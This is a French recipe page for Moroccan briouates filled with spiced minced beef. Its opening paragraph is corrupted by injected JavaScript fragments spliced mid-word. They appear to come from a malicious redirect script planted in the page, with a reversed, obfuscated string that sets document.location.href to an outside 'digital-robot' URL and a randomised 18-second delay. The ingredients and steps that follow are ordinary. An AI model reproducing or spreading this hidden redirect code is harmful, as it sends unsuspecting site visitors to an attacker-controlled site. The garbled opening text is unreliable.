Briouates au kelta
2017-12-26Pelez, émincez les oignons. Rincez, essorez et ciselez la coriandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andre. Dans une poêle avec 2 cuillères à soupe d’huile d’arachide sur feu moyen, faites fondre les oignons tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant jusqu’à ce qu’ils soient dorés.
Ingrédients
- Pour 6 personnes
- 24 feuilles de brick
- 400 g de viande de bœuf hachée
- 5 oignons
- 1 bouquet de coriandre
- 2 pincées de cannelle en poudre
- 100 g de beurre ramolli
- 2 cuillères à soupe d'huile d'arachide
- Sel et Poivre
Préparation de la recette
Etape 1
Pelez, émincez les oignons. Rincez, essorez et ciselez la coriandre. Dans une poêle avec 2 cuillères à soupe d'huile d'arachide sur feu moyen, faites fondre les oignons tout en remuant jusqu'à ce qu'ils soient dorés.
Etape 2
Retirez les oignons de la poêle. Réservez. Si nécessaire ajoutez un peu d'huile et faites cuire le bœuf haché sur feu vif. Salez, poivrez, la cannelle, la coriandre, et les oignons.
Etape 3
Laissez cuire pendant 5 minutes tout en mélangeant. Étalez les feuilles de brick par 2 en les étalant sur un plan de travail. Les badigeonner d'une fine couche de beurre avec un pinceau.
Etape 4
Déposez sur chaque feuille des Briouates. Refermez en forme de triangle.
Etape 5
Dans une poêle sur feu moyen avec du beurre, faites les dorer de chaque côté. Retirez les, de la poêle et les déposer sur du papier absorbant.
Etape 6
Servez rapidement accompagné d'une salade verte
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